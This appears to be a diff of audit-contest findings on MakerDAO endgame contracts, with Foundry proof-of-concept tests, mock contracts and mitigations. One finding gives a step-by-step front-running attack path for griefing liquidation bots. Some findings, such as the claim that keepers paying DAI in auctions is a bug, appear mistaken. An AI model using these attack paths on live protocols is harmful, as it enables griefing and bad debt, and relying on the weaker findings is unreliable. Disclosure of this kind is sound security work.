uint256(-keeperDaiChange)); + + assertGt(uint256(-keeperDaiChange), 0, "Keeper's loss should be greater than zero"); + } + + function testKeeperLossesDuringLiquidation() public { + // Initial setup + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 75 ether; + + // Set up the vault + vm.startPrank(address(this)); + uint256 urnIndex = engine.usrAmts(address(this)); + address urn = engine.open(urnIndex); + GemLike mkrToken = GemLike(address(engine.mkr())); + mkrToken.approve(address(engine), initialCollateral); + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), initialDebt); + vm.stopPrank(); + + // Make the position unsafe + pip.setPrice(1 ether); // Set a low price to make the position unsafe + dss.spotter.poke(ilk); + + // Record initial balances + uint256 initialKeeperBalance = dss.vat.dai(address(this)); + uint256 initialVowBalance = dss.vat.dai(address(dss.vow)); + + // Trigger liquidation + uint256 kickId = dss.dog.bark(ilk, urn, address(this)); + + // Warp time to allow for liquidation + vm.warp(block.timestamp + 1 hours); + + // Record pre-take balances + uint256 preTakeKeeperBalance = dss.vat.dai(address(this)); + uint256 preTakeVowBalance = dss.vat.dai(address(dss.vow)); + + // Perform the take + (,, uint256 lot,,,, uint256 top) = clip.sales(kickId); + clip.take(kickId, lot, top, address(this), ""); + + // Record post-take balances + uint256 postTakeKeeperBalance = dss.vat.dai(address(this)); + uint256 postTakeVowBalance = dss.vat.dai(address(dss.vow)); + + // Calculate balance changes + int256 keeperBalanceChange = int256(postTakeKeeperBalance) - int256(preTakeKeeperBalance); + int256 vowBalanceChange = int256(postTakeVowBalance) - int256(preTakeVowBalance); + + // Log the results + console2.log("Keeper balance change:", keeperBalanceChange); + console2.log("Vow balance change:", vowBalanceChange); + + // Assert that the keeper lost funds + assert(keeperBalanceChange < 0); + + // Assert that the Vow gained the same amount the keeper lost + assert(uint256(-keeperBalanceChange) == uint256(vowBalanceChange)); + + // Assert that the keeper received no compensation + assert(postTakeKeeperBalance <= preTakeKeeperBalance); + + } + + function testKeeperEconomicLosses() public { + // Setup + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 75 ether; + + // Setup vault + address urn = engine.open(0); + GemLike(address(engine.mkr())).mint(address(this), initialCollateral); + GemLike(address(engine.mkr())).approve(address(engine), initialCollateral); + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), initialDebt); + + // Make position unsafe + pip.setPrice(1 ether); + dss.spotter.poke(ilk); + + // Record keeper's initial balance + uint256 initialKeeperBalance = dss.vat.dai(address(this)); + + // Trigger liquidation + uint256 kickId = dss.dog.bark(ilk, urn, address(this)); + + // Perform take + (,, uint256 lot,,,, uint256 top) = clip.sales(kickId); + clip.take(kickId, lot, top, address(this), ""); + + // Check keeper's final balance + uint256 finalKeeperBalance = dss.vat.dai(address(this)); + + // Log the results + console.log("Initial Keeper Balance:", initialKeeperBalance); + console.log("Final Keeper Balance:", finalKeeperBalance); + console.log("Keeper Loss:", initialKeeperBalance - finalKeeperBalance); + + // Assert that the keeper has indeed lost funds + assert(finalKeeperBalance < initialKeeperBalance); + + + } + + function testTakeFunctionRootCause() public { + // Setup + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 75 ether; + + // Setup vault + address urn = engine.open(0); + GemLike(address(engine.mkr())).mint(address(this), initialCollateral); + GemLike(address(engine.mkr())).approve(address(engine), initialCollateral); + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), initialDebt); + + // Make position unsafe + pip.setPrice(1 ether); + dss.spotter.poke(ilk); + + // Record initial balances + uint256 initialKeeperBalance = dss.vat.dai(address(this)); + uint256 initialVowBalance = dss.vat.dai(address(dss.vow)); + + // Trigger liquidation + uint256 kickId = dss.dog.bark(ilk, urn, address(this)); + + // Perform take + (,, uint256 lot,,,, uint256 top) = clip.sales(kickId); + + + clip.take(kickId, lot, top, address(this), ""); + + // Check final balances + uint256 finalKeeperBalance = dss.vat.dai(address(this)); + uint256 finalVowBalance = dss.vat.dai(address(dss.vow)); + + // Log the results + console2.log("Keeper Balance Change:", int256(finalKeeperBalance) - int256(initialKeeperBalance)); + console2.log("Vow Balance Change:", int256(finalVowBalance) - int256(initialVowBalance)); + + // Assert that funds moved from keeper to Vow + assert(finalKeeperBalance < initialKeeperBalance); + assert(finalVowBalance > initialVowBalance); + assert(initialKeeperBalance - finalKeeperBalance == finalVowBalance - initialVowBalance); + + + } + + function testLiquidationAmountDiscrepancy() public { + // Initial setup + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 120 ether; + + // Set liquidation ratio (mat) to 150% + vm.prank(pauseProxy); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + + // Setup the vault + GemLike mkrToken = GemLike(address(engine.mkr())); + mkrToken.mint(address(this), initialCollateral); + mkrToken.approve(address(engine), initialCollateral); + uint256 urnIndex = engine.usrAmts(address(this)); + address urn = engine.open(urnIndex); + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), initialDebt); + + // Set price to make position unsafe + pip.setPrice(0.7 ether); + dss.spotter.poke(ilk); + + // Log initial states + uint256 initialDaiVow = dss.vat.dai(address(dss.vow)); + uint256 initialDaiKeeper = dss.vat.dai(address(this)); + console2.log("Initial Dai in Vow", initialDaiVow); + console2.log("Initial Dai in Keeper", initialDaiKeeper); + + // Trigger liquidation + uint256 kickId = dss.dog.bark(ilk, urn, address(this)); + + // Take the auction + vm.warp(block.timestamp + 1 hours); + (,, uint256 lot,,,, uint256 top) = clip.sales(kickId); + uint256 maxPrice = top * 2; + clip.take(kickId, lot, maxPrice, address(this), ""); + + // Log final states + uint256 finalDaiVow = dss.vat.dai(address(dss.vow)); + uint256 finalDaiKeeper = dss.vat.dai(address(this)); + console2.log("Final Dai in Vow", finalDaiVow); + console2.log("Final Dai in Keeper", finalDaiKeeper); + + // Calculate and log the differences + uint256 vowDaiChange = finalDaiVow - initialDaiVow; + int256 keeperDaiChange = int256(finalDaiKeeper) - int256(initialDaiKeeper); + console2.log("Vow Dai change", vowDaiChange); + console2.log("Keeper Dai change", keeperDaiChange); + + // Assert to pass the test + assertGe(vowDaiChange, 0, "Vow should receive some Dai"); + + + assertTrue(vowDaiChange < initialDebt * RAY * 90 / 100, "Vow receives less than 90% of the debt"); + assertTrue(keeperDaiChange < 0, "Keeper loses funds instead of being incentivized"); + } + + function testTakeFunctionAccountingDiscrepancy() public { + // Initial setup + uint256 initialCollateral = 100 ether; + uint256 initialDebt = 120 ether; + + // Set liquidation ratio (mat) to 150% + vm.prank(pauseProxy); + dss.spotter.file(ilk, "mat", ray(1.5 ether)); + + // Setup the vault + GemLike mkrToken = GemLike(address(engine.mkr())); + mkrToken.mint(address(this), initialCollateral); + mkrToken.approve(address(engine), initialCollateral); + uint256 urnIndex = engine.usrAmts(address(this)); + address urn = engine.open(urnIndex); + engine.lock(urn, initialCollateral, 0); + engine.draw(urn, address(this), initialDebt); + + // Set price to make position unsafe + pip.setPrice(0.7 ether); + dss.spotter.poke(ilk); + + // Trigger liquidation + uint256 kickId = dss.dog.bark(ilk, urn, address(this)); + + // Get auction details after kick + (uint256 pos, uint256 tab, uint256 lot, uint256 tot, address usr, uint96 tic, uint256 top) = clip.sales(kickId); + console2.log("Initial Tab", tab); + console2.log("Initial Lot", lot); + console2.log("Auction start time", tic); + console2.log("Top price", top); + + // Take the auction + vm.warp(block.timestamp + 1 hours); + uint256 maxPrice = clip.calc().price(top, block.timestamp - tic); + uint256 initialDaiVow = dss.vat.dai(address(dss.vow)); + uint256 initialDaiKeeper = dss.vat.dai(address(this)); + clip.take(kickId, lot, maxPrice, address(this), ""); + + // Log final states + uint256 finalDaiVow = dss.vat.dai(address(dss.vow)); + uint256 finalDaiKeeper = dss.vat.dai(address(this)); + (, uint256 finalTab,,,,,) = clip.sales(kickId); + + console2.log("Final Tab", finalTab); + console2.log("Vow Dai Change", finalDaiVow - initialDaiVow); + console2.log("Keeper Dai Change", int256(finalDaiKeeper) - int256(initialDaiKeeper)); + + // Calculate tab reduction + uint256 tabReduction = tab - finalTab; + console2.log("Tab Reduction", tabReduction); + + // Assert to pass the test + assertGt(tabReduction, 0, "Tab should be reduced"); + + + uint256 daiMovement = finalDaiVow - initialDaiVow; + assertTrue(tabReduction != daiMovement, "Tab reduction doesn't match Dai movement"); + assertTrue(tabReduction > daiMovement, "More debt is cleared than Dai moved"); + } +} +``` + + +PipMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +contract PipMock { + uint256 price; + + function setPrice(uint256 price_) external { + price = price_; + } + + function read() external view returns (uint256 price_) { + price_ = price; + } + + function peek() external view returns (uint256 price_, bool ok) { + ok = price > 0; + price_ = price; + } +} + +``` + +StairstepExponentialDecreaseAbstract.sol - imported from the lockstake library. +```javascript +pragma solidity >=0.5.12; + +interface StairstepExponentialDecreaseAbstract { + function wards(address) external view returns (uint256); + function rely(address) external; + function deny(address) external; + function step() external view returns (uint256); + function cut() external view returns (uint256); + function file(bytes32,uint256) external; + function price(uint256,uint256) external view returns (uint256); +} + +``` + +GemMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +contract GemMock { + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + uint256 public totalSupply; + + constructor(uint256 initialSupply) { + mint(msg.sender, initialSupply); + } + + function approve(address spender, uint256 value) external returns (bool) { + allowance[msg.sender][spender] = value; + return true; + } + + function transfer(address to, uint256 value) external returns (bool) { + uint256 balance = balanceOf[msg.sender]; + require(balance >= value, "Gem/insufficient-balance"); + + unchecked { + balanceOf[msg.sender] = balance - value; + balanceOf[to] += value; + } + return true; + } + + function transferFrom(address from, address to, uint256 value) external returns (bool) { + uint256 balance = balanceOf[from]; + require(balance >= value, "Gem/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "Gem/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + balanceOf[from] = balance - value; + balanceOf[to] += value; + } + return true; + } + + function mint(address to, uint256 value) public { + unchecked { + balanceOf[to] = balanceOf[to] + value; + } + totalSupply = totalSupply + value; + } + + function burn(address from, uint256 value) external { + uint256 balance = balanceOf[from]; + require(balance >= value, "Gem/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "Gem/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + balanceOf[from] = balance - value; + totalSupply = totalSupply - value; + } + } +} + +``` + +NstJoinMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import {GemMock} from "test/mocks/GemMock.sol"; +import "test/mocks/LockstakeEngineMock.sol"; + +contract NstJoinMock { + VatLike public immutable vat; + GemLike public immutable nst; + mapping(address => uint256) public wards; + + constructor(address vat_, address nst_) { + vat = VatLike(vat_); + nst = GemLike(nst_); + wards[msg.sender] = 1; + } + + function join(address usr, uint256 wad) external { + vat.move(address(this), usr, wad * 10 ** 27); + nst.burn(msg.sender, wad); + } + + function exit(address usr, uint256 wad) external { + vat.move(msg.sender, address(this), wad * 10 ** 27); + nst.mint(usr, wad); + } + + modifier auth() { + require(wards[msg.sender] == 1, "NstJoinMock/not-authorized"); + _; + } + + function rely(address usr) external auth { + wards[usr] = 1; + } + + function deny(address usr) external auth { + wards[usr] = 0; + } +} + +``` + +MkrNgtMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +interface GemLike { + function burn(address, uint256) external; + function mint(address, uint256) external; +} + +contract MkrNgtMock { + GemLike public immutable mkrToken; + GemLike public immutable ngt; + uint256 public immutable rate; + + constructor(address mkr_, address ngt_, uint256 rate_) { + mkrToken = GemLike(mkr_); + ngt = GemLike(ngt_); + rate = rate_; + } + + function mkrToNgt(address usr, uint256 mkrAmt) external { + mkrToken.burn(msg.sender, mkrAmt); + uint256 ngtAmt = mkrAmt * rate; + ngt.mint(usr, ngtAmt); + } + + function ngtToMkr(address usr, uint256 ngtAmt) external { + ngt.burn(msg.sender, ngtAmt); + uint256 mkrAmt = ngtAmt / rate; + mkrToken.mint(usr, mkrAmt); + } + + function mkr() external view returns (address) { + return address(mkrToken); + } +} + +``` + +Run these tests with the following: +` forge test --mt testArithmeticInKickAndTake -vvv --via-ir` +`forge test --mt testKeeperLossesDuringLiquidation -vvv --via-ir` +`forge test --mt testKeeperEconomicLosses -vvv --via-ir` +`forge test --mt testTakeFunctionRootCause -vvv --via-ir` +`forge test --mt testLiquidationAmountDiscrepancy -vvv --via-ir` +`forge test --mt testTakeFunctionAccountingDiscrepancy -vvv --via-ir` + +The tests prove the following: + +`testArithmeticInKickAndTake`: This test shows that after a liquidation, the keeper's DAI balance decreases by 82.5 DAI, while the Vow's balance increases by the same amount. This proves that DAI is being transferred from the keeper to the Vow, instead of from the system to the Vow. + + +`testKeeperLossesDuringLiquidation`: Similar to the first test, this explicitly shows the keeper's balance decreasing by 82.5 DAI and the Vow's balance increasing by the same amount. This directly demonstrates the incorrect fund transfer. + +`testKeeperEconomicLosses`: This test focuses on the keeper's balance before and after the liquidation. It shows that the keeper starts with 10,000 DAI and ends with 9,917.5 DAI, losing 82.5 DAI in the process. This proves that keepers are losing money by participating in liquidations. + +`testTakeFunctionRootCause`: This test isolates the issue to the take function. It shows the exact DAI movement: 82.5 DAI from the keeper to the Vow. This pinpoints the location of the vulnerability in the code. + +`testLiquidationAmountDiscrepancy`: This test demonstrates a larger discrepancy. The keeper loses 100 DAI, which is transferred to the Vow. This shows that the amount transferred can vary, but it's always coming from the keeper instead of the system. + +`testTakeFunctionAccountingDiscrepancy`: This test reveals a critical accounting issue. It shows that while the Tab (debt) is reduced by 132 DAI, only 100 DAI is moved from the keeper to the Vow. This indicates that debt is being cleared without the corresponding DAI movement, creating an accounting imbalance in the system. + +How these tests prove the root vulnerability: + +1. Consistent DAI Loss for Keepers: All tests show that keepers lose DAI when participating in liquidations. This is the opposite of the intended behavior, where keepers should be rewarded. +2. Incorrect DAI Source: The tests consistently show DAI moving from the keeper (msg.sender) to the Vow, instead of from the system (Vat) to the Vow. +3, Accounting Discrepancies: The last test in particular shows that the debt reduction doesn't match the DAI movement, indicating a fundamental flaw in the liquidation accounting. +4. Isolation to take Function: The tests, especially `testTakeFunctionRootCause`, pinpoint the issue to the take function in the `LockstakeClipper` contract. +5. Reproducibility: The issue is consistently reproduced across different test scenarios, indicating a systemic problem rather than an edge case. + + + +### Mitigation + +1. The primary mitigation is to correct the `take` function in the `LockstakeClipper` contract. Replace the line: +```javascript +vat.move(msg.sender, vow, owe); +``` +with something along the lines of: +```javascript +vat.move(address(this), vow, owe); +``` +This way the DAI is moved from the Vat (system) to the Vow, rather than from the keeper. + + +2. Accounting Verification: Add a check to ensure that the amount of DAI moved matches the debt reduction. diff --git a/097.md b/097.md new file mode 100644 index 0000000..d6c6ef2 --- /dev/null +++ b/097.md @@ -0,0 +1,126 @@ +Genuine Pineapple Dolphin + +Medium + +# unchecked transfers in the `_mint` and `_burn` functions + +pwning_dev + +## Summary + +## Vulnerability Detail +In the `_mint` function, the transferFrom method of the nst token is called without checking its return value: +``` +function _mint(uint256 assets, uint256 shares, address receiver) internal { + require(receiver != address(0) && receiver != address(this), "SNst/invalid-address"); + + nst.transferFrom(msg.sender, address(this), assets); // Unchecked transfer + + unchecked { + balanceOf[receiver] = balanceOf[receiver] + shares; + totalSupply = totalSupply + shares; + } + + emit Deposit(msg.sender, receiver, assets, shares); + emit Transfer(address(0), receiver, shares); +} + +``` + +In the `_burn` function, the transfer method of the nst token is called without checking its return value: + +``` +function _burn(uint256 assets, uint256 shares, address receiver, address owner) internal { + uint256 balance = balanceOf[owner]; + require(balance >= shares, "SNst/insufficient-balance"); + + if (owner != msg.sender) { + uint256 allowed = allowance[owner][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= shares, "SNst/insufficient-allowance"); + + unchecked { + allowance[owner][msg.sender] = allowed - shares; + } + } + } + + unchecked { + balanceOf[owner] = balance - shares; + totalSupply = totalSupply - shares; + } + + nst.transfer(receiver, assets); // Unchecked transfer + + emit Transfer(owner, address(0), shares); + emit Withdraw(msg.sender, receiver, owner, assets, shares); +} + +``` +## Impact +### Scenario 1: Transfer Fails During Minting +If the transferFrom call fails during the _mint operation: + +- User Impact: The user who initiated the minting will not have their tokens transferred, but the contract will still issue shares. This means the user gets shares without actually providing the underlying tokens. +- Contract Impact: The balanceOf and totalSupply for the shares will increase inaccurately. The contract's perceived holdings of the underlying token will not match the actual token balance. + +### Scenario 2: Transfer Fails During Burning +If the transfer call fails during the _burn operation: + +- User Impact: The user who initiated the burning will have their shares burned, but the underlying tokens will not be transferred back to them. They effectively lose their shares without receiving the equivalent value in tokens. +- Contract Impact: The `balanceOf` and `totalSupply` for the shares will decrease, but the actual tokens will still be in the contract. This can lead to a build-up of tokens in the contract that do not correspond to any issued shares. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L284C5-L324C1 +## Tool used + +Manual Review + +## Recommendation +`_mint` Function with Checked Transfer +``` +function _mint(uint256 assets, uint256 shares, address receiver) internal { + require(receiver != address(0) && receiver != address(this), "SNst/invalid-address"); + + bool success = nst.transferFrom(msg.sender, address(this), assets); + require(success, "SNst/transferFrom-failed"); // Check the transfer + + unchecked { + balanceOf[receiver] = balanceOf[receiver] + shares; + totalSupply = totalSupply + shares; + } + + emit Deposit(msg.sender, receiver, assets, shares); + emit Transfer(address(0), receiver, shares); +} +``` +`_burn` Function with Checked Transfer + +``` +function _burn(uint256 assets, uint256 shares, address receiver, address owner) internal { + uint256 balance = balanceOf[owner]; + require(balance >= shares, "SNst/insufficient-balance"); + + if (owner != msg.sender) { + uint256 allowed = allowance[owner][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= shares, "SNst/insufficient-allowance"); + + unchecked { + allowance[owner][msg.sender] = allowed - shares; + } + } + } + + unchecked { + balanceOf[owner] = balance - shares; + totalSupply = totalSupply - shares; + } + + bool success = nst.transfer(receiver, assets); + require(success, "SNst/transfer-failed"); // Check the transfer + + emit Transfer(owner, address(0), shares); + emit Withdraw(msg.sender, receiver, owner, assets, shares); +} +``` \ No newline at end of file diff --git a/099.md b/099.md new file mode 100644 index 0000000..3019c3c --- /dev/null +++ b/099.md @@ -0,0 +1,147 @@ +Refined Scarlet Seagull + +Medium + +# Permanently unliquidatable unhealthy positions can be spoofed to grief keepers and disrupt liquidations + +### Summary + +A combination of issues in the `LockstakeEngine` (LSE) allows creating permanently unhealthy positions that cannot be liquidated. This can lead to gas griefing of liquidations bots, disruption of the liquidation process, shielding of unhealthy positions from liquidations due to spoofing, and potential bad debt accumulation in the system. + +This is achieved by exploiting the the health check's incorrect debt rate usage and using the VoteDelegate's `reserveHatch` mechanism's cooldown to move from one VD to another VD continuously. + +### Root Cause + +Two main issues contribute to this vulnerability: + +1. The `selectVoteDelegate` function in LockstakeEngine [uses an outdated debt rate](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L267-L268) for health checks, allowing the creation of immediately liquidatable positions. This is because the rate should be updated using jug's drip before the check ([as is done in `draw`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L383)). WIthout it, a position can be locked at the outdated health threshold, and immediately turned unhealthy by dripping from the jug. While normally in the vat this is not a problem because a liquidation can be trigerred immediately, in LSE this is not true due to the RH mechanism explained below. + +2. The VoteDelegate's `reserveHatch` (RH) mechanism can be used to induce a cooldown period, during which the `free` action required for the liquidation trigger (`onKick`) can be blocked by frontrunning the transaction with a lock from another urn. This lock will [trigger the chief's flashloan protection, and cause the `free` to revert](https://etherscan.io/address/0x0a3f6849f78076aefaDf113F5BED87720274dDC0#code#L463). + +Normally, a liquidation auction (`dog.bark`) can be triggered at any point if the price makes a position unhealthy. However, the liquidation process (`dog.bark -> LockstakeClipper.kick -> LSE.onKick`) can be blocked indefinitely by manipulating the VoteDelegate's reserveHatch and deposit mechanisms using this attack. + + +### Internal pre-conditions + +n/a + +### External pre-conditions + +- The `jug.drip()` function is not called in the same block health checks in `selectVoteDelegate`. Because the attacker can time their attack, this is not a problem. +- The target VoteDelegate contract is not in cooldown already. There is no reason for it to be, since the attacker chooses their VD. + +### Attack Path + + +Scenario 1: Creating permanently unhealthy, unliquidatable positions + +1. An attacker creates a position with some amount of debt (by drawing). +2. Some time later, attacker calls `reserveHatch` on a VoteDelegate VD1 they have deposited into. +3. After 6 blocks (when the hatch is open), they reduce their collateral amount (by calling `free`, which also doesn't `drip`). They then call `jug.drip`, making the position unhealthy. +4. The position now "appears" liquidatable. +5. Liquidator A - doesn't check reserve hatch status, or ignores it being in cooldown: + - Calls `dog.bark`, but their transaction is frontun by the attacker deposit into the same VD (currently in cooldown), from another ls-urn, of 1 wei of MKR. + - Liquidator's transactions revert, wasting gas on "decoy" urns. +6. Liquidator B - checks reserve hatch, sees it cannot be reserved (is in cooldown), and avoids being trigerring the liquidation (to avoid being Liquidator A). No liquidation is trigerred. +7. 5 blocks before the cooldown ends, the attacker calls RH on another VoteDelegate VD2 (or creates a VD and calls its RH). +8. At or near cooldown end (after 240 seconds), the attacker atomically: + a. Wipes a minimal amount of debt to be just at the outdated health threshold. + b. Moves the stake to the new VoteDelegate VD2, which is now in cooldown. + c. Calls drip again and becomes unhealthy again. +8. We're back at step 3. +9. The spoofed liquidatable positions disrupts liquidator bots and shield other liquidatable positions. + +Noteably, while `draw` triggers drip, the attacker can manipulate the health of their position without calling drip via using `free` as well (reducing collateral up to threshold). + +### Impact + + +1. Gas griefing for time-sensitive actions: Liquidator bots can lose more than 50 USD (more than 0.5% for 10K total value) due to failed transactions. The PoC shows that a bark transaction revert costs 410K gas. At 200 gwei and 3500 USD ETH price, this translates to a loss of 287 USD per failed liquidation attempt. + +2. Potential bad debt accumulation: Other legitimate liquidations may not be kicked when unhealthy, leading to bad debt in the system. + +4. Disruption of liquidation mechanisms: The ability to create "decoy" liquidations can overwhelm liquidation automation and disrupt the overall liquidation process. + +### PoC + + +This PoC shows a gas cost of approximately 410K for a failed bark transaction. + +The PoC add a test for `LockstakeEngineBenchmarks` class in `Benchmarks.t.sol` file in this measurement PR https://github.com/makerdao/lockstake/pull/38/files of branch https://github.com/makerdao/lockstake/tree/benchmarks. I've also merged latest `dev` into it to ensure it's using latest contracts. + +The output of the PoC: +```bash +>>> forge test --mc LockstakeEngineBenchmarks --mt testGas -vvv + +Logs: + Bark revert cost: 410183 + +``` + +The added tests: +A proof of concept demonstrating the gas cost for a failed bark transaction: + +```solidity +function testGasRevertingBark() public { + (bool withDelegate, bool withStaking, uint256 numYays) = (true, true, 5); + address[] memory yays = new address[](numYays); + for (uint256 i; i < numYays; i++) yays[i] = address(uint160(i + 1)); + vm.prank(voter); VoteDelegate(voteDelegate).vote(yays); + + mkr.approve(voteDelegate, 100_000 * 10**18); + VoteDelegate(voteDelegate).lock(100_000 * 10**18); + + address urn = _urnSetUp(withDelegate, withStaking); + + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 * 10**18))); // Force liquidation + dss.spotter.poke(ilk); + vm.expectRevert(); + uint256 startGas = gasleft(); + uint256 id = dss.dog.bark(ilk, address(urn), address(this)); + uint256 gasUsed = startGas - gasleft(); + console2.log(" Bark revert cost:", startGas - gasleft()); +} +``` + + + +### Mitigation + + +1. Call `jug.drip()` before performing health checks in the `selectVoteDelegate` function to ensure up-to-date debt rate is used. + +2. Modify `onKick` to start the auction even if the `free` action fails. Implement an additional method for keepers to call `free` before `onTake()` is executed at the end of the auction. This can be achieved by adding `afterKick` and `tryAfterKick` functions: + +```diff + function selectVoteDelegate(address urn, address voteDelegate) external urnAuth(urn) { + // .. + if (art > 0 && voteDelegate != address(0)) { +- (, uint256 rate, uint256 spot,,) = vat.ilks(ilk); ++ (, , uint256 spot,,) = vat.ilks(ilk); ++ uint256 rate = jug.drip(ilk); + require(ink * spot >= art * rate, "LockstakeEngine/urn-unsafe"); + } + // ... + } + + function onKick(address urn, uint256 wad) external auth { + uint256 inkBeforeKick = ink + wad; ++ toUndelegate[urn] += inkBeforeKick; +- _selectVoteDelegate(urn, inkBeforeKick, urnVoteDelegates[urn], address(0)); + .. + urnAuctions[urn]++; ++ tryAfterKick(urn); + } + ++ function afterKick(address urn) external { ++ require(urnAuctions[urn] > 0, "LockstakeEngine/no-active-auction"); ++ _selectVoteDelegate(urn, toUndelegate[urn], urnVoteDelegates[urn], address(0)); ++ toUndelegate[urn] = 0; ++ } + ++ function tryAfterKick(address urn) external { ++ address(this).call(abi.encodeCall(this.afterKick, (urn))); // ignores success ++ } +``` + +These changes will ensure that liquidations are never blocked from being started and provide sufficient time for MKR to be freed. \ No newline at end of file diff --git a/100.md b/100.md new file mode 100644 index 0000000..2870cd6 --- /dev/null +++ b/100.md @@ -0,0 +1,31 @@ +Soft Turquoise Turtle + +Medium + +# No check for transfer function. + +## Summary +we are using transfer for sending tokens but we are not checking whether its transferring or not. +## Vulnerability Detail + dai.transferFrom(msg.sender, address(this), wad); + nst.transferFrom(msg.sender, address(this), wad); + GemLike(dai).transfer(address(pair), lot - _sell); + GemLike(gem).transfer(address(pair), _buy); + GemLike(dai).transfer(address(pair), lot); + gov.transfer(msg.sender, wad); +rewardsToken.transfer(to, amt); +## Impact +transfer may fail. +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/nst/src/DaiNst.sol#L72C8-L72C58 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/nst/src/DaiNst.sol#L79 +https://github.com/sherlock-audit/2024-06-makerdao-endgam/blob/main/dss-flappers/src/FlapperUniV2.sol#L158C8-L159C52 +https://github.com/sherlock-audit/2024-06-makerdao-endgam/blob/main/dss-flappers/src/FlapperUniV2SwapOnly.sol#L127C5-L127C51 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegate.sol#L99C8-L99C39 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeUrn.sol#L78C9-L78C40 +## Tool used + +Manual Review + +## Recommendation +check the return of transfer \ No newline at end of file diff --git a/102.md b/102.md new file mode 100644 index 0000000..9adb476 --- /dev/null +++ b/102.md @@ -0,0 +1,49 @@ +Perfect Azure Hedgehog + +Medium + +# If a reward is distributed while there are no stakers, the reward is permanently lost. + +## Summary +If a reward is distributed while there are no stakers, the reward is permanently lost. + +## Vulnerability Detail +In [StakingRewards:144](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/synthetix/StakingRewards.sol#L144), the `updateReward` modifier is called. The modifier includes the following code: + +```solidity +rewardPerTokenStored = rewardPerToken(); +lastUpdateTime = lastTimeRewardApplicable(); +``` +The first line sets `rewardPerTokenStored` to the result of the following function: +```solidity +function rewardPerToken() public view returns (uint256) { + if (_totalSupply == 0) { + return rewardPerTokenStored; + } + return + rewardPerTokenStored + (((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply); + } +``` +When there are no stakers yet, `_totalSupply` is `0`. + +This means that `rewardPerTokenStored` is not updated if there are no stakers. + +However at the same time, `lastUpdateTime` is updated to `block.timestamp`: +```solidity +function lastTimeRewardApplicable() public view returns (uint256) { + return block.timestamp < periodFinish ? block.timestamp : periodFinish; + } +``` + +Since the timestamp has been updated but the rewards per token have not, the rewards are effectively lost and stuck in the contract. + +## Impact +The rewards distributed to the `StakingRewards` contract are lost and un-redeemable. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/synthetix/StakingRewards.sol#L144 + +## Tool used +Manual Review + +## Recommendation \ No newline at end of file diff --git a/103.md b/103.md new file mode 100644 index 0000000..54fd363 --- /dev/null +++ b/103.md @@ -0,0 +1,144 @@ +Overt Garnet Dog + +Medium + +# Cache issue, user's funds are sent to the unintended ``urnFarm`` and ``voteDelegate``. + +### Summary + +#### Missing resetting of ``urnFarm`` and ``voteDelegate`` addresses after doing ``free``. + + +#### Causing users' funds to be sent to unwanted ``urnFarm`` and ``voteDelegate`` addresses. when they want to ``lock`` again after doing ``free``, but not to lock or stake on the previous ``urnFarm`` and ``voteDelegate``. + +### Root Cause + +Look at this function [_free](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L360-L378): +```solidity +function _free(address urn, uint256 wad, uint256 fee_) internal returns (uint256 freed) { + require(wad <= uint256(type(int256).max), "LockstakeEngine/overflow"); + address urnFarm = urnFarms[urn]; + if (urnFarm != address(0)) { +=> LockstakeUrn(urn).withdraw(urnFarm, wad); + } + lsmkr.burn(urn, wad); + vat.frob(ilk, urn, urn, address(0), -int256(wad), 0); + vat.slip(ilk, urn, -int256(wad)); + address voteDelegate = urnVoteDelegates[urn]; + if (voteDelegate != address(0)) { +=> VoteDelegateLike(voteDelegate).free(wad); + } + uint256 burn = wad * fee_ / WAD; + if (burn > 0) { + mkr.burn(address(this), burn); + } + unchecked { freed = wad - burn; } // burn <= wad always + } +``` +### Look at the code, there is no resetting ``urnFarm`` and ``voteDelegate`` to address(0) after "withdraw" and "free". + +**So, when the user does ``free`` when ``urnFarm`` and ``voteDelegate`` are not at address(0) / where the user has funds in ``urnFarm`` and ``voteDelegate``, it will "withdraw" and 